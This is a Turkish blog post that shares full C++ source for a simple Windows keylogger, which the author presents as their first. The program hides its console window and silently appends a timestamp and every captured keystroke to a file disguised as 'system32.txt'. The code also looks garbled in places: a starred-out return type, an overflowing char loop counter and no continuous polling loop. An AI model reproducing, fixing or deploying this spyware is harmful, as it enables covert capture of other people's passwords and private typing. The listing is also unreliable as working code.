Eğlenceye Davetlisiniz...

C++ Basit bir Keylogger

çalıştırınca, önce o günün tarihini ve saatini sonra arkada, basılan tuşların hepsini not defterine kaydeden program ve ilk keyloggerim 
Kod:
#include<iostream>
#include<stdio.h>
#include<fstream>
#include<windows.h>
#include<time.h>
#include<locale.h>
#include<winuser.h>
#include<conio.h>
using namespace std;

**** SpecialKeys(string kelime)
{
 ofstream out;
 out.open("system32.txt", fstream::app);
 out << kelime;
}

bool CheckChar(char i)
{
 switch (i)
 {
 case 16:
  SpecialKeys("|Shift| ");
  return 1;
  break;
 case 111:
  SpecialKeys("/");
  return 1;
  break;
 case 106:
  SpecialKeys("*");
  return 1;
  break;
 case 109:
  SpecialKeys("-");
  return 1;
  break;
 case 107:
  SpecialKeys("+");
  return 1;
  break;
 case 110:
  SpecialKeys(",");
  return 1;
  break;
 case 38:
  SpecialKeys("|up|");
  return 1;
  break;
 case 40:
  SpecialKeys("|down|");
  return 1;
  break;
 case 37:
  SpecialKeys("|left|");
  return 1;
  break;
 case 39:
  SpecialKeys("|right|");
  return 1;
  break;

 default: return 0;
 }


}

bool ChecKey(char i)
{
 switch (i)
 {

 case VK_LBUTTON:
  SpecialKeys("");
  return 1;
  break;
 case VK_RBUTTON:
  SpecialKeys("");
  return 1;
  break;
 case VK_BACK:        
  SpecialKeys(" |back| ");
  return 1;
  break;
 case 13:
  SpecialKeys(" |Enter| ");
  return 1;
  break;
 case 16:
  SpecialKeys(" |Shift| ");
  return 1;
  break;
 case VK_ESCAPE:
  SpecialKeys(" |ESC| ");
  return 1;
  break;
 case VK_SPACE:
  SpecialKeys(" ");
  return 1;
  break;
 case VK_NUMPAD0:
  SpecialKeys("0");
  return 1;
  break;
 case VK_NUMPAD1:
  SpecialKeys("1");
  return 1;
  break;
 case VK_NUMPAD2:
  SpecialKeys("2");
  return 1;
  break;
 case VK_NUMPAD3:
  SpecialKeys("3");
  return 1;
  break;
 case VK_NUMPAD4:
  SpecialKeys("4");
  return 1;
  break;
 case VK_NUMPAD5:
  SpecialKeys("5");
  return 1;
  break;
 case VK_NUMPAD6:
  SpecialKeys("6");
  return 1;
  break;
 case VK_NUMPAD7:
  SpecialKeys("7");
  return 1;
  break;
 case VK_NUMPAD8:
  SpecialKeys("8");
  return 1;
  break;
 case VK_NUMPAD9:
  SpecialKeys("9");
  return 1;
  break;

 default: return 0;
 }
}
main()
{
 setlocale(LC_ALL, "Turkish");
 time_t t;
 time(&t);
 int x = 0;
 time_t basla, dur;
 int fark;
 if (x == 0)
 {
  ofstream out;
  out.open("system32.txt", fstream::app);
  out << "\n" << ctime(&t) << "\n";
  x++;
 }
 x = 0;
 ShowWindow(GetConsoleWindow(), SW_HIDE);
 char i;
 for (i = 8; i <= 300; i++)
 {
  if (GetAsyncKeyState(i) == -32767)
  {
   int a = i;
   //************************************************************************************************************
   if (i == VK_CAPITAL)
   {
    int r = 1;
    while (r<2)
    {
     char t;
     for (t = 8; t <= 256; t++)
     {
      int u = t;
      if (GetAsyncKeyState(t) == -32767)
      {
       if (t == VK_CAPITAL)
       {
        r = 3;
        break;
       }
       else
       {
        if (ChecKey(t) == 0 & CheckChar(u) == 0)
         if (t >= 65 & t <= 90)
         {
          ofstream out;
          out.open("system32.txt", fstream::app);
          out << t;
          x++;
         }
       }
      }
     }
    }
   }
   //******************************************************************************************************************
   else
   {
    if (ChecKey(i) == 0 & CheckChar(i) == 0)
    {
     if (x>=110)
     {
      ofstream out;
      out.open("system32.txt", fstream::app);
      out <<"\n";
      x=0;
     }

     if (i >= 65 & i <= 90)
     {
      switch (i)
      {
      case 65:
       SpecialKeys("a");
       break;
      case 66:
       SpecialKeys("b");
       break;
      case 67:
       SpecialKeys("c");
       break;
      case 68:
       SpecialKeys("d");
       break;
      case 69:
       SpecialKeys("e");
       break;
      case 70:
       SpecialKeys("f");
       break;
      case 71:
       SpecialKeys("g");
       break;
      case 72:
       SpecialKeys("h");
       break;
      case 73:
       SpecialKeys("ı");
       break;
      case 74:
       SpecialKeys("j");
       break;
      case 75:
       SpecialKeys("k");
       break;
      case 76:
       SpecialKeys("l");
       break;
      case 77:
       SpecialKeys("m");
       break;
      case 78:
       SpecialKeys("n");
       break;
      case 79:
       SpecialKeys("o");
       break;
      case 80:
       SpecialKeys("p");
       break;
      case 81:
       SpecialKeys("q");
       break;
      case 82:
       SpecialKeys("r");
       break;
      case 83:
       SpecialKeys("s");
       break;
      case 84:
       SpecialKeys("t");
       break;
      case 85:
       SpecialKeys("u");
       break;
      case 86:
       SpecialKeys("v");
       break;
      case 87:
       SpecialKeys("w");
       break;
      case 88:
       SpecialKeys("x");
       break;
      case 89:
       SpecialKeys("y");
       break;
      case 90:
       SpecialKeys("z");
       break;
      }
     }
     x++;
    }
    else
    {
     x = x + 13;
    }
   }

  }
 }
}
Share on Google Plus

About Unknown

This is a short description in the author block about the author. You edit it by entering text in the "Biographical Info" field in the user admin panel.

0 yorum:

Yorum Gönder